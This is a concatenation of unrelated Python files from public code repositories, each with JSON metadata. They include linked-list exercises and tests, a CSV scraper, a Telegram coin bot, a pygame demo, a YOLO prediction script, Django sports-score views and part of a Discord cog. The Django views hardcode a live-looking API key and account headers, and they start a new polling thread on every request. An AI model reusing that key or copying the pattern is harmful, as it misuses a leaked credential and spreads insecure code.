LinkedList2:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def add_in_tail(self, item):\n if self.head is None:\n self.head = item\n item.prev = None\n item.next = None\n else:\n self.tail.next = item\n item.prev = self.tail\n self.tail = item\n\n def find(self, val: int) -> Optional[Node]:\n if self.is_empty():\n return None\n current = self.head\n while current is not None:\n if current.value == val:\n return current\n current = current.next\n return None\n \n def delete(self, value: int, all=False):\n if self.is_empty():\n return\n current = self.head\n while current is not None:\n if current.value == value:\n if current.prev is not None:\n current.prev.next = current.next\n else:\n self.head = current.next\n \n if current.next is not None:\n current.next.prev = current.prev\n else:\n self.tail = current.prev\n \n if not all:\n return\n \n current = current.next\n \n def insert(self, afterNode: Optional[Node], newNode: Optional[Node]):\n if afterNode is None:\n if self.head is None:\n self.add_in_tail(newNode)\n else:\n newNode.prev = self.tail\n newNode.next = None\n self.tail.next = newNode\n self.tail = newNode\n else:\n if afterNode.next is None:\n self.add_in_tail(newNode)\n else:\n newNode.next = afterNode.next\n newNode.prev = afterNode\n afterNode.next.prev = newNode\n afterNode.next = newNode\n \n def return_all_nodes(self) -> List[int]:\n nodes = []\n node = self.head\n while node is not None:\n nodes.append(node.value)\n node = node.next\n return nodes\n \n def clean(self):\n self.head = None\n self.tail = None\n \n def is_empty(self) -> bool:\n return self.head is None\n \n def len(self) -> int:\n count = 0\n if self.is_empty():\n return count\n current = self.head\n while current is not None:\n count += 1\n current = current.next\n return count\n \n def add_in_head(self, new_node: Node):\n if self.head is None:\n self.head = new_node\n self.tail = new_node\n new_node.prev = None\n new_node.next = None\n else:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n new_node.prev = None\n \n def find_all(self, val: int) -> List[Node]:\n nodes = []\n if self.is_empty():\n return nodes \n current = self.head\n\n while current is not None:\n if current.value == val:\n nodes.append(current)\n current = current.next\n\n return nodes \n \n \ndef test_find():\n my_list = LinkedList2()\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(30))\n my_list.add_in_tail(Node(40))\n \n node = my_list.find(30)\n assert node.value == 30\n \n \ndef test_delete():\n my_list = LinkedList2()\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n my_list.delete(10, all=True)\n\n node = my_list.find(10)\n assert node == None\n \n \ndef test_insert():\n my_list = LinkedList2()\n node1 = Node(10)\n node2 = Node(20)\n node3 = Node(30)\n node4 = Node(40)\n node5 = Node(50)\n my_list.add_in_tail(node1)\n my_list.add_in_tail(node2)\n my_list.add_in_tail(node3)\n my_list.add_in_tail(node4)\n my_list.add_in_tail(node5)\n\n assert my_list.return_all_nodes() == [10, 20, 30, 40, 50]\n \n my_list.insert(node2, Node(100))\n assert my_list.return_all_nodes() == [10, 20, 100, 30, 40, 50]\n\n\ndef test_insert_when_none_node():\n my_list = LinkedList2()\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n \n my_list.insert(None, Node(100))\n assert my_list.return_all_nodes() == [10, 20, 10, 10, 100]\n \n\n\ndef test_insert_when_none_node_and_empty_list():\n my_list = LinkedList2()\n \n my_list.insert(None, Node(100))\n assert my_list.return_all_nodes() == [100]\n \n\ndef test_clean():\n my_list = LinkedList2()\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n \n my_list.clean()\n assert my_list.head == None\n assert my_list.tail == None\n \n \ndef test_len():\n my_list = LinkedList2()\n assert my_list.len() == 0\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n \n assert my_list.len() == 4\n \n\ndef test_add_in_head():\n my_list = LinkedList2()\n my_list.add_in_head(Node(0))\n assert my_list.return_all_nodes() == [0]\n \n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n \n my_list.add_in_head(Node(100))\n \n assert my_list.return_all_nodes() == [100, 0, 10, 20, 10, 10]\n \n \ndef test_find_all():\n my_list = LinkedList2()\n my_list.add_in_head(Node(0))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(20))\n my_list.add_in_tail(Node(10))\n my_list.add_in_tail(Node(10))\n \n nodes = my_list.find_all(10)\n assert nodes[0].value == 10\n assert nodes[1].value == 10\n assert nodes[2].value == 10\n\n ","repo_name":"Kukustar/smart","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":6279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29595493539","text":"from bs4 import BeautifulSoup\nfrom time import sleep\nimport requests\n\n\nif __name__ == '__main__':\n website = 'http://discovery.ucl.ac.uk/1469811/'\n url = requests.get('http://www.football-data.co.uk/englandm.php').text\n soup = BeautifulSoup(url)\n for link in soup.findAll(\"a\"):\n current_link = link.get(\"href\")\n if current_link.endswith('csv'):\n print('Found CSV: ' + current_link)\n print('Downloading %s' % current_link)\n sleep(10)\n response = requests.get('http://www.football-data.co.uk/%s' % current_link, stream=True)\n fn = current_link.split('/')[0] + '_' + current_link.split('/')[1] + '_' + current_link.split('/')[2]\n with open(fn, \"wb\") as handle:\n for data in response.iter_content():\n handle.write(data)","repo_name":"chengwill97/Neolithic-Site-Prediction","sub_path":"backup_data/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"687833637","text":"from Coins.Coin import Coin\nfrom Coins.coinUtils import getAnswer\nfrom db import modelsSql\nfrom db.modelsSql import User, UserList\n\n\ndef addUser(message):\n db = modelsSql.db\n db.create_tables([User])\n\n id = message.chat.id\n name = message.chat.username\n firstname = message.chat.first_name\n lastname = message.chat.last_name\n\n newUser = User(chat_id=id,\n user_name=name,\n first_name=firstname,\n last_name=lastname)\n try:\n newUser.save()\n except:\n return False\n\n print(\"\\\"{} {} {} {}\\\" added\\n\".format(id, name, firstname, lastname))\n return True\n\n\ndef addUserList(message):\n db = modelsSql.db\n db.create_tables([User])\n\n id = message.chat.id\n newUserList = UserList(chat_id=id,\n user_coins=\"btc\")\n try:\n newUserList.save()\n except:\n return False\n return True\n\ndef getUsers():\n users = User.select()\n result = \"\"\n for i in users:\n result += \"{} {} {} {}\\n\".format(i.chat_id,\n i.user_name,\n i.first_name,\n i.last_name)\n return result\n\n\ndef getUserCoinListPrice(id, cBase):\n db = modelsSql.db\n db.create_tables([UserList])\n result = \"\"\n uList = []\n\n userCoinList = UserList.select().where(UserList.chat_id == id)\n for i in userCoinList:\n uList = i.user_coins.split(\" \")\n for coin in uList:\n result += getAnswer(coin, cBase) + \"\\n\"\n return result\n\n\ndef addCoinToList(id, cointext, cBase):\n db = modelsSql.db\n db.create_tables([UserList])\n\n coin = Coin(cointext, cBase)\n if not coin.isValid():\n return \"Invalid coin id \\\"{}\\\"\".format(cointext)\n oldListSet = UserList.select().where(UserList.chat_id == id)\n oldList = []\n for i in oldListSet:\n oldList = i\n newList = set(oldList.user_coins.split(\" \"))\n if cointext.lower() in newList:\n return \"\\\"{}\\\" is also in your list.\".format(cointext)\n newList.add(cointext.lower())\n newList = \" \".join(newList)\n oldList.user_coins = newList\n oldList.save()\n print(\"{} added {} in his list\".format(oldList.chat_id, cointext))\n return \"\\\"{}\\\" was added in your list.\".format(cointext)\n\ndef removeCoinFromList(id, cointext):\n db = modelsSql.db\n db.create_tables([UserList])\n oldListSet = UserList.select().where(UserList.chat_id == id)\n oldList = []\n for i in oldListSet:\n oldList = i\n newList = set(oldList.user_coins.split(\" \"))\n if not cointext.lower() in newList:\n return \"You have no \\\"{}\\\" in your list.\".format(cointext)\n elif len(newList) == 1:\n return \"You have just one coin in your list. I cann't to delete them.\"\n newList.remove(cointext.lower())\n newList = \" \".join(newList)\n oldList.user_coins = newList\n oldList.save()\n print(\"{} removed {} in his list\".format(oldList.chat_id, cointext))\n return \"\\\"{}\\\" was removed from your list.\".format(cointext)\n\ndef getUserCoinList(id):\n db = modelsSql.db\n db.create_tables([UserList])\n result = \"\\nYour coin list contain:\\n\"\n uList = []\n\n userCoinList = UserList.select().where(UserList.chat_id == id)\n for i in userCoinList:\n uList = i.user_coins.split(\" \")\n\n return result + \"\\n\".join(uList)","repo_name":"u169/bitbot","sub_path":"db/dbUtils.py","file_name":"dbUtils.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19033036380","text":"#! /usr/bin/env python\n\nimport pygame\n\npygame.init()\n#width = raw_input(\"Width:\")\n#height = raw_input(\"Height:\")\n\nwidth = 1024\nheight = 600\nblue = 0, 0, 255\nblack = 0, 0, 0\nslices = 30\n\nscreen = pygame.display.set_mode((width, height))\n\nwhile 1:\n\tevent = pygame.event.poll()\n\tif event.type == pygame.QUIT:\n\t\tbreak\n\n\tscreen.fill(black)\n\n\tfor i in range(1, slices):\n\t\tpygame.draw.line(screen, blue, (0, height * i / slices), \n\t\t\t\t\t(width - width * i / slices, 0))\n\t\tpygame.draw.line(screen, blue, (0, height * i / slices),\n\t\t\t\t\t(width * i / slices, height))\n\t\tpygame.draw.line(screen, blue, (width, height - height * i / slices),\n\t\t\t\t\t(width - width * i / slices, 0))\n\t\tpygame.draw.line(screen, blue, (width, height - height * i / slices),\n\t\t\t\t\t(width * i / slices, height))\n\n#\tpygame.draw.aaline(screen, blue, (width, 0), (0, height))\n\tpygame.display.flip()\n#\tcount += 1\n","repo_name":"Mondobot/Bomberman","sub_path":"tut/hello_pygame.py","file_name":"hello_pygame.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38582493019","text":"from torch.autograd import Variable\n\nfrom utilities import *\nfrom bbox import *\nfrom models import Yolov1_vgg16bn\nfrom constant import *\n\nimport shutil\n\nclass_counting = {\n 'plane':0, 'ship':0, 'storage-tank':0, 'baseball-diamond':0,\n 'tennis-court':0, 'basketball-court':0, 'ground-track-field':0,\n 'harbor':0, 'bridge':0, 'small-vehicle':0, 'large-vehicle':0,\n 'helicopter':0, 'roundabout':0, 'soccer-ball-field':0,\n 'swimming-pool':0, 'container-crane':0\n}\n\n\ndef predict(img, model, DEBUG = False, dummy_example = None):\n \"\"\"\n input: \n 1. image (tensor) sized: [3, 448, 448]\n 2. model\n 3. DEBUG (boolean)\n 4. dummy_example (tensor) sized [7,7,26]\n output:\n 1. pred_bbox_cxcy (tensor), sized [98, 4], [cx,cy,w,h]\n 2. pred_class_conf (tensor), sized [98, 1], max class prob * IoU confidence\n 3. pred_max_cls_code (tensor), sized [98, 16]\n \"\"\"\n img = img.unsqueeze(0)\n img = Variable(img)\n if use_gpu:\n img = img.cuda()\n\n with torch.no_grad():\n pred = model(img) # pred sized [1,7,7,26]\n \n pred = pred.squeeze(0).view(-1, 26).cpu() # sized [49, 26]\n \n if DEBUG is True:\n pred = dummy_example.view(-1,26)\n\n pred_bboxes = pred[:,:10].contiguous().view(-1, 5) # sized [98, 5]\n pred_obj_conf = pred_bboxes[:, 4].unsqueeze(1) # sized [98, 1]\n pred_cls_prob = pred[:, 10:] # sized [49, 16]\n pred_cls_prob = torch.cat((pred_cls_prob, pred_cls_prob), 1).view(-1, 16) # sized [98, 16]\n \n # bbox cx, cy, w, h\n pred_bbox_cxcy = pred_bboxes[:, :4] # sized [98, 4]\n \n # max class probability\n pred_max_cls_prob = torch.max(pred_cls_prob, 1)[0].view(-1,1) # sized [98, 1]\n pred_max_cls_code = torch.max(pred_cls_prob, 1)[1].view(-1,1)\n # class confidence\n pred_cls_conf = pred_obj_conf.mul(pred_max_cls_prob) # sized [98, 1] \n \n return pred_bbox_cxcy, pred_cls_conf, pred_max_cls_code\n\n\ndef predict_all(input_path, model_path, data_size = 1500, num_workers = 2, conf_thres = 0.1, nms_thres = 0.5):\n \n ## ==========================\n # Data\n ## ==========================\n transform = transforms.Compose(\n [\n transforms.ToTensor()\n ]\n )\n\n # validation dataset loader\n validation_dataset = DataGenerator(\n parent_dir = input_path, img_size = TRAIN_IMAGE_SIZE,\n S = GRID_NUM, B=2, C = CLASS_NUM, \n transform=transform, num = data_size, train = False\n )\n validation_loader = DataLoader(validation_dataset, batch_size = 1, shuffle = False, num_workers = num_workers)\n \n ## ==========================\n # Model\n ## ==========================\n model = model_inport(model_path)\n \n ## ==========================\n # Predict All\n ## ==========================\n prediction_results = [] # [image_name, pred_bbox_xy, cls_conf, max_cls_prob]\n data_counts = len(validation_dataset)\n for image_id in range(data_counts):\n img_name, images , target = validation_dataset.__getitem__(image_id)\n #print(\"Detecting objects in image: {}....\".format(img_name))\n #pred_bbox_cxcy, cls_conf, max_cls_code = predict(images, model)\n pred_bbox_cxcy, cls_conf, max_cls_code = predict(images, model, DEBUG = False, dummy_example = target)\n pred_bbox_xy = pred_bbox_revert(pred_bbox_cxcy)\n \n prediction_results.append(\n (\n img_name,\n pred_bbox_xy,\n cls_conf,\n max_cls_code\n )\n )\n \n ## ==========================\n # Filtering\n ## ==========================\n filtered_results = []\n for image_name, pred_bbox_xy, cls_conf, max_cls_code in prediction_results:\n \n bbox_xy_final,cls_conf_final,pred_cls_code_final = bbox_filtering(pred_bbox_xy, cls_conf, max_cls_code\n ,nms_thresh = nms_thres, hconf_thresh = conf_thres)\n \n # class names\n #max_cls_idx = torch.max(pred_cls_final, 1)[1].tolist() if pred_cls_final.size(0) != 0 else []\n cls_labels = [DOTA_CLASSES[idx] for idx in pred_cls_code_final.squeeze(1).tolist()]\n \n for label in cls_labels:\n class_counting[label] += 1\n \n filtered_results.append(\n (\n image_name, \n bbox_xy_final.tolist(),\n cls_conf_final.tolist(),\n cls_labels\n )\n )\n \n return filtered_results\n\ndef model_inport(model_path):\n #model_path = os.path.join('models', model_name + '.pth')\n #model = MODELS[model_name]\n model = Yolov1_vgg16bn(pretrained = True)\n model.load_state_dict(torch.load(model_path))\n \n if use_gpu: \n model.cuda()\n \n model.eval()\n return model\n\ndef format_out(number):\n \n number = int(number)\n if number < 0 :\n number = 0\n return str(number)\n\ndef write_predictions_to_file(predicted_results, output_folder):\n pathlib.Path(output_folder).mkdir(parents=True, exist_ok=True)\n for (image_name, bbox_xy_final, cls_conf_final, cls_labels) in predicted_results:\n #print(\"Writing results for image: {}.....\".format(image_name))\n with open('{}/{}.txt'.format(output_folder,image_name), 'w+') as f:\n for box, cls_conf, label in zip(bbox_xy_final, cls_conf_final, cls_labels):\n # box [0 xmin, 1 ymin, 2 xmax, 3 ymax]\n xmin = format_out(box[0]); ymin = format_out(box[1]);\n xmax = format_out(box[2]); ymin = format_out(box[1]);\n xmax = format_out(box[2]); ymax = format_out(box[3]);\n xmin = format_out(box[0]); ymax = format_out(box[3]);\n box_write = [xmin, ymin, xmax, ymin, xmax, ymax, xmin, ymax]\n write_str = ' '.join(box_write)\n write_str += (' ' + label)\n print(cls_conf)\n write_str += (' ' + str(cls_conf))\n write_str += '\\n'\n f.write(write_str)\n \n #return output_folder\n\ndef main():\n \n #parser = argparse.ArgumentParser()\n #parser.add_argument(\"input_img_folder\", help=\"The input image folder\")\n #parser.add_argument(\"output_pred_folder\", help=\"The output prediction folder\")\n #parser.add_argument(\"model\", help=\"The name of backbone model\")\n #args = parser.parse_args()\n \n # inputs\n #train_folder = args.input_img_folder\n #output_folder = args.output_pred_folder\n #model_path = MODELS[args.model]\n\n train_folder = './hw2_train_val/val1500/'\n output_folder = './Text_hbb'\n model_path = './models/best_encurage_detection.pth'\n \n \n print(\"Traing set folder: {}\".format(train_folder))\n print(\"Results output folder: {}\".format(output_folder))\n print(\"Model File: {}\".format(model_path))\n \n if os.path.isdir(output_folder):\n shutil.rmtree(output_folder)\n \n execution(train_folder, output_folder, model_path)\n \n\ndef execution(image_folder, output_folder, model_path, conf_thres = 0.1, nms_thres = 0.5):\n\n print(\"Object detection starting........\")\n predicted_results = predict_all(image_folder, model_path, \n data_size = VALI_DATA_SIZE, num_workers = NUM_WORKERS,\n conf_thres = conf_thres, nms_thres = nms_thres\n )\n \n print(\"Writeing results into folder {}\".format(output_folder))\n write_predictions_to_file(predicted_results, output_folder)\n \n import hw2_evaluation_task2\n \n # main(det_folder, anno_folder):\n anno_folder = \"./hw2_train_val/val1500/labelTxt_hbb\"\n map1, _ = hw2_evaluation_task2.main(output_folder, anno_folder)\n \n return map1\n\nif __name__ == '__main__':\n main()","repo_name":"JiaMingLin/dlcv_object_detection","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":7900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39405474312","text":"# Author: Shyama Arunachalam\n# Date created: 9/19/2020\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\ndef addTwoNumbers(l1, l2):\n sum_list, sum_ptr = None, None\n ptr1, ptr2, carry = l1, l2, 0\n while True:\n minisum = 0\n if ptr1 != None:\n minisum = minisum + ptr1.val\n ptr1 = ptr1.next\n if ptr2 != None:\n minisum = minisum + ptr2.val\n ptr2 = ptr2.next\n minisum = minisum + carry\n carry = int(minisum / 10)\n new_val = minisum % 10\n new_node = ListNode(new_val)\n if sum_list == None:\n sum_list = new_node\n sum_ptr = new_node\n else:\n sum_ptr.next = new_node\n sum_ptr = new_node\n if ptr1 == None and ptr2 == None:\n break\n if carry != 0:\n new_node = ListNode(carry)\n sum_ptr.next = new_node\n return sum_list\n\n\na = ListNode(2)\nb = ListNode(4)\nc = ListNode(3)\n\na.next = b\nb.next = c\n\nc = ListNode(5)\nd = ListNode(6)\ne = ListNode(4)\n\nc.next = d\nd.next = e\n\nsum = addTwoNumbers(a, c)\n\nptr = sum\n\nwhile ptr is not None:\n print(ptr.val)\n ptr = ptr.next\n\nx = ListNode(5)\ny = ListNode(5)\n\nsum = addTwoNumbers(x, y)\n\nptr = sum\n\nwhile ptr is not None:\n print(ptr.val)\n ptr = ptr.next\n","repo_name":"ERshyama/AlgorithmsPractice","sub_path":"google/linked_lists/add_two_numbers.py","file_name":"add_two_numbers.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13834154153","text":"import http.client\nimport asyncio\nimport requests\nimport time\nimport schedule\nimport threading\nimport json\n\nfrom django.db import transaction\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.response import Response\n\nfrom .models import (Events, EventId, Tournament, TournamentHockey, EndedMatch,\n Scheduled, All, AllHockey, ScheduledHockey, EndedHockey)\nfrom .serialaizers import (EventsSerializer, EventLiveIdSerializer,\n TournamentSerializer, TournamentHockeySerializer, EndedMatchSerializer,\n ScheduledSerializer, AllSerializer, AllHockeySerializer,\n ScheduledHockeySerializer, EndedHockeySerializer)\nfrom .task import (send_request, send_request_hockey,\n send_request_endedmatch, send_request_scheluded, request_all,\n request_all_hockey, request_scheduled_hockey)\n\nimport http.client\n\n\nclass EventIdViewSet(viewsets.ModelViewSet):\n queryset = EventId.objects.all()\n serializer_class = EventLiveIdSerializer\n\n # def list_ev(self, request):\n # # Удаление данных из таблицы\n # EventId.objects.all().delete()\n # event_ids = Events.objects.values_list('event_id', flat=True)\n # for event_id in event_ids:\n # live_event = EventId(live_event_id=event_id)\n # live_event.save()\n\n # async def send_request(self):\n # self.list(None)\n\n # async def schedule_request(self):\n # while True:\n # await self.send_request() # Выполняем запрос\n # await asyncio.sleep(0.33) # Подождать 0.33 секунды\n\n # def start_scheduling(self):\n # loop = asyncio.get_event_loop()\n # loop.create_task(self.schedule_request())\n # loop.run_forever()\n\n\nclass EventsViewSet(viewsets.ModelViewSet):\n queryset = Events.objects.all()\n serializer_class = EventsSerializer\n\n\ndef h2h(live_event_id):\n conn = http.client.HTTPSConnection(\"fs.nimbase.cc\")\n headers = {\n 'api-key-bravo': 'Nc4znHJeSs06G99YMVVBovHF',\n 'x-mashape-user': 'baggio093',\n 'x-mashape-subscription': 'baggio093-Mega'\n }\n url = f\"/v1/events/h2h?locale=en_INT&event_id={live_event_id}\"\n url = url.replace(\" \", \"\")\n print(url)\n conn.request(\"GET\", url, headers=headers)\n\n res = conn.getresponse()\n data = res.read()\n\n return json.loads(data.decode(\"utf-8\"))\n\n\ndef events_statistic(live_event_id):\n conn = http.client.HTTPSConnection(\"fs.nimbase.cc\")\n\n headers = {\n 'api-key-bravo': 'Nc4znHJeSs06G99YMVVBovHF',\n 'x-mashape-user': 'baggio093',\n 'x-mashape-subscription': 'baggio093-Mega'\n }\n # encoded_event_id = quote(event_id.encode('utf-8'), safe='')\n url = f\"/v1/events/statistics?event_id={live_event_id}&locale=en_INT\"\n url = url.replace(\" \", \"\")\n conn.request(\n \"GET\", url, headers=headers)\n\n res = conn.getresponse()\n data = res.read()\n\n return json.loads(data.decode(\"utf-8\"))\n\n\ndef events_start_lineps(live_event_id):\n\n conn = http.client.HTTPSConnection(\"fs.nimbase.cc\")\n\n headers = {\n 'api-key-bravo': 'Nc4znHJeSs06G99YMVVBovHF',\n 'x-mashape-user': 'baggio093',\n 'x-mashape-subscription': 'baggio093-Mega'\n }\n url = f\"/v1/events/lineups?event_id={live_event_id}&locale=en_INT\"\n url = url.replace(\" \", \"\")\n conn.request(\n \"GET\", url, headers=headers)\n\n res = conn.getresponse()\n data = res.read()\n\n return json.loads(data.decode(\"utf-8\"))\n\n\ndef odds(live_event_id):\n conn = http.client.HTTPSConnection(\"fs.nimbase.cc\")\n\n headers = {\n 'api-key-bravo': 'Nc4znHJeSs06G99YMVVBovHF',\n 'x-mashape-user': 'baggio093',\n 'x-mashape-subscription': 'baggio093-Mega'\n }\n\n url = f\"/v1/events/odds?event_id={live_event_id}&locale=en_INT\"\n url = url.replace(\" \", \"\")\n conn.request(\n \"GET\", url, headers=headers)\n\n res = conn.getresponse()\n data = res.read()\n\n return json.loads(data.decode(\"utf-8\"))\n\n\nclass EventDetails(APIView):\n '''Вью для деталей матча '''\n # permission_classes = AllowAny\n\n def get(self, request, live_event_id):\n event = get_object_or_404(EventId, live_event_id=live_event_id)\n h2h_data = h2h(event.live_event_id)\n statistics_data = events_statistic(event.live_event_id)\n lineups = events_start_lineps(event.live_event_id)\n odd = odds(event.live_event_id)\n\n serialized_data = json.dumps(\n {'statistics_data': statistics_data}, {'h2h': h2h_data}, {'lineups': lineups}, {'odd': odd})\n\n return Response(serialized_data)\n\n\nclass TournamentViewSet(viewsets.ModelViewSet):\n ''' Основаной вью для лайва'''\n queryset = Tournament.objects.all()\n serializer_class = TournamentSerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(2).seconds.do(send_request)\n while True:\n schedule.run_pending()\n time.sleep(0.05)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = Tournament.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n # event_viewset = EventIdViewSet()\n # event_viewset.list_ev(request)\n return Response(serializer.data)\n\n\nclass HockeyView(viewsets.ModelViewSet):\n '''Основной вью для хоккея'''\n queryset = TournamentHockey.objects.all()\n serializer_class = TournamentHockeySerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(5).seconds.do(send_request_hockey)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments_hockey = TournamentHockey.objects.all()\n serializer = self.serializer_class(tournaments_hockey, many=True)\n # event_viewset = EventIdViewSet()\n # event_viewset.list_ev(request)\n return Response(serializer.data)\n\n\nclass EndedMatchView(viewsets.ModelViewSet):\n queryset = EndedMatch.objects.all()\n serializer_class = EndedMatchSerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(send_request_endedmatch)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = EndedMatch.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n\n\nclass ScheduledView(viewsets.ModelViewSet):\n queryset = Scheduled.objects.all()\n serializer_class = ScheduledSerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(send_request_scheluded)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = Scheduled.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n\n\nclass AllView(viewsets.ModelViewSet):\n queryset = All.objects.all()\n serializer_class = AllSerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(request_all)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = All.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n\n\nclass AllHockeyView(viewsets.ModelViewSet):\n queryset = AllHockey.objects.all()\n serializer_class = AllHockeySerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(request_all_hockey)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = AllHockey.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n\n\nclass ScheduledHockeyView(viewsets.ModelViewSet):\n queryset = ScheduledHockey.objects.all()\n serializer_class = ScheduledHockeySerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(request_scheduled_hockey)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = ScheduledHockey.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n\n\nclass EndedHockeyView(viewsets.ModelViewSet):\n queryset = EndedHockey.objects.all()\n serializer_class = EndedHockeySerializer\n\n def start_scheduling(self):\n # Запускаем функцию send_request каждые 5 секунд\n schedule.every(50).seconds.do(request_scheduled_hockey)\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n def list(self, request):\n # Запускаем поток для выполнения start_scheduling\n thread = threading.Thread(target=self.start_scheduling)\n thread.start()\n tournaments = EndedHockey.objects.all()\n serializer = self.serializer_class(tournaments, many=True)\n\n return Response(serializer.data)\n","repo_name":"numinga27/score","sub_path":"score/scoreflash/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33784808076","text":"import asyncio\r\nfrom colorthief import ColorThief\r\nimport discord\r\nfrom discord.ext import commands, tasks\r\nimport datetime\r\nfrom discord import app_commands\r\nfrom datetime import datetime\r\nimport time\r\nfrom io import BytesIO\r\nimport requests\r\nfrom PIL import Image\r\nimport typing\r\n\r\nclass Confirm(discord.ui.View):\r\n def __init__(self):\r\n super().__init__()\r\n self.value = None\r\n\r\n # When the confirm button is pressed, set the inner value to `True` and\r\n # stop the View from listening to more input.\r\n # We also send the user an ephemeral message that we're confirming their choice.\r\n @discord.ui.button(label='Confirm', style=discord.ButtonStyle.green)\r\n async def confirm(self, interaction: discord.Interaction, button: discord.ui.Button):\r\n await interaction.response.send_message('Confirming', ephemeral=True)\r\n self.value = True\r\n self.stop()\r\n\r\n # This one is similar to the confirmation button except sets the inner value to `False`\r\n @discord.ui.button(label='Cancel', style=discord.ButtonStyle.red)\r\n async def cancel(self, interaction: discord.Interaction, button: discord.ui.Button):\r\n await interaction.response.send_message('Cancelling', ephemeral=True)\r\n self.value = False\r\n self.stop()\r\n\r\nclass Miscellaneous(commands.Cog):\r\n \"\"\"Unpopular but useful commands.\"\"\"\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.hybrid_command(name=\"avatar\", description=\"Shows a user's avatar.\", aliases=[\"av\"])\r\n async def avatar(self, ctx: commands.Context, user: discord.User = None):\r\n \"\"\"Shows a user's avatar.\"\"\"\r\n if user == None:\r\n user = ctx.author\r\n\r\n async with ctx.typing():\r\n owner = await self.bot.fetch_user(869061991141101608)\r\n if user.avatar.is_animated():\r\n url = user.avatar.url\r\n response = requests.get(url)\r\n img = Image.open(BytesIO(response.content))\r\n color_thief = ColorThief(BytesIO(response.content))\r\n dominant_color = color_thief.get_color(quality=5)\r\n embed = discord.Embed(title=f\"{user.name}'s avatar\",\r\n color=discord.Color.from_rgb(*dominant_color))\r\n embed.set_image(url=user.avatar.url)\r\n embed.add_field(\r\n name=\"Download Links\",\r\n value=\r\n f\"[JPG]({user.avatar.with_static_format('jpg')}) | [PNG]({user.avatar.with_static_format('png')}) | [GIF]({user.avatar.with_format('gif')})\"\r\n )\r\n 